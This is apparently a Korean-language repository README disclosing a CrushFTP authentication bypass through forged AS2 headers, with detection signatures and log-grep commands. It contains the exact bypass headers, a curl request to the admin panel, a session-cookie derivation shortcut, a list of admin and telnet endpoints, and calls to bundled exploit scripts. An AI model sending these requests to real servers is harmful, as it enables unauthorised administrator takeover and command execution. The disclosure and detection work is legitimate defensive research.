
CrushFTP AS2 인증 우회에 대한 연구로, 인증되지 않은 관리자 액세스를 허용합니다. 교육 및 방어 목적의 PoC 스크립트, 탐지 규칙, 기술 분석을 포함합니다.
⚠️ 중요: 이 취약점은 2025년 11월 기준 CrushFTP에서 패치되었습니다. 본 연구는 교육 및 방어 목적으로만 공개됩니다.
📝 참고: 본 연구는 CVE-2025-54309와 유사한 취약점 패턴을 기반으로 합니다. 정확한 CVE 번호는 다를 수 있습니다. 이는 통제된 홈 랩 환경에서 수행된 독립적인 보안 연구입니다.
이 저장소는 AS2(Applicability Statement 2) 헤더 조작을 통해 완전한 관리자 액세스를 허용하는 CrushFTP 서버의 심각한 인증 우회 취약점을 문서화합니다. 이 취약점은 인증이 필요하지 않으며 단일 HTTP 요청으로 악용될 수 있습니다.
핵심 사항:
연구자: SmileyFace101 (@SmileyFace101)
CrushFTP의 웹 인터페이스는 적절한 검증 없이 AS2 프로토콜 헤더를 잘못 신뢰합니다. 서버는 AS2 요청이 사전 인증되었다고 가정하고 일반 인증 절차를 우회합니다.
취약한 CrushFTP 버전 (랩에서 확인됨):
패치된 버전:
랩 환경:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
예시 (랩 환경):
curl -H "X-DMZ-Proxy: disabled" \
-H "X-AS2-Version: 1.0" \
-H "User-Agent: AS2Server/1.0" \
"http://10.0.100.50/WebInterface/admin/index.html"
참고: 소유하거나 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
악용 과정에서 우리는 악용을 100% 신뢰할 수 있게 만드는 세션 쿠키 생성의 수학적 관계를 발견했습니다:
CrushAuth 구조: [TIMESTAMP]_[SESSION_ID]
currentAuth = SESSION_ID의 마지막 4자
c2f 매개변수 = currentAuth 값과 동일
✅ 전체 서버 및 사용자 열거
✅ 사용자 계정 생성 및 수정
✅ 파일 시스템 액세스 및 탐색
✅ 텔넷 인터페이스를 통한 명령 실행
✅ 시스템 권한으로 작업 예약
✅ PGP 키 및 인증서 액세스
✅ 관리 구성 수정
detection/ 디렉토리 참조:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
/WebInterface/function/에 대한 POST 요청# 웹 서버 로그
grep -E "(X-DMZ-Proxy|X-AS2-Version|AS2Server)" /var/log/nginx/access.log
# CrushFTP 애플리케이션 로그
grep -E "(WebInterface/admin|WebInterface/function)" crushftp.log
.
├── README.md # 이 파일 - 개요 및 사용법
├── docs/
│ └── TECHNICAL_ANALYSIS.md # 전체 기술 심층 분석
├── exploits/
│ ├── enhanced_session_exploit.sh # 세션 관리가 포함된 완전한 악용
│ ├── targeted_exploitation.sh # 고가치 엔드포인트 테스트
│ └── adaptive_exploitation.sh # 다중 전략 접근 방식
└── detection/
├── snort_rules.txt # IDS/IPS 시그니처 (Snort)
├── suricata_rules.txt # IDS/IPS 시그니처 (Suricata)
└── log_analysis.sh # 로그 분석 및 IOC 탐지
문서 읽기:
랩에서 테스트:
# 대상 시스템을 소유하고 있는지 확인하세요!
./exploits/enhanced_session_exploit.sh 10.0.100.50
탐지 배포:
✅ 완전한 AS2 인증 우회 발견 및 문서화
✅ 중요한 세션 쿠키 생성 요구 사항 식별 및 해결
✅ 세션 관리의 수학적 관계 리버스 엔지니어링
✅ 2단계 악용 방법론 개발
✅ 100% 신뢰할 수 있는 악용 패턴 확립
✅ 여러 RCE 벡터 식별 및 분석
✅ 전체 JavaScript 소스 코드 분석 수행
/WebInterface/admin/index.html - 메인 관리 패널/WebInterface/admin/telnet.html - 텔넷 인터페이스/WebInterface/Jobs/index.html - 작업 관리/WebInterface/UserManager/index.html - 사용자 관리/WebInterface/PGP/index.html - PGP 키 관리/WebInterface/function/ - 관리 기능 프로세서저자: SmileyFace101
GitHub: @SmileyFace101
연구 기간: 2025년 3월~7월 (홈 랩)
공개 공개: 2025년 12월 6일
본 연구는 교육 및 방어 목적으로만 제공됩니다.
✅ 승인된 사용:
❌ 금지:
본 연구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:
면책 조항: 저자는 오용에 대해 책임을 지지 않습니다. 무단 컴퓨터 액세스는 불법입니다.
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.
마지막 업데이트: 2025년 12월 6일
위험 평가: 심각 - 즉시 패치 및 완화 필요
마지막 업데이트: 2025년 12월 6일
저자: SmileyFace101
연구 수행: 2025년 3월~7월, 승인된 랩 환경
| 보안 측면 | 영향 수준 | 설명 |
|---|
| 기밀성 | 🔴 심각 | 자격 증명, 구성, PGP 키, 로그에 완전한 액세스 |
| 무결성 | 🔴 심각 | 사용자 계정 생성, 구성 변경, 파일 수정 |
| 가용성 | 🟡 높음 | 시스템 명령 실행, 서비스 중단 능력 |
| 권한 상승 | 🔴 심각 | 직접 관리자 액세스, 영구 계정 생성 |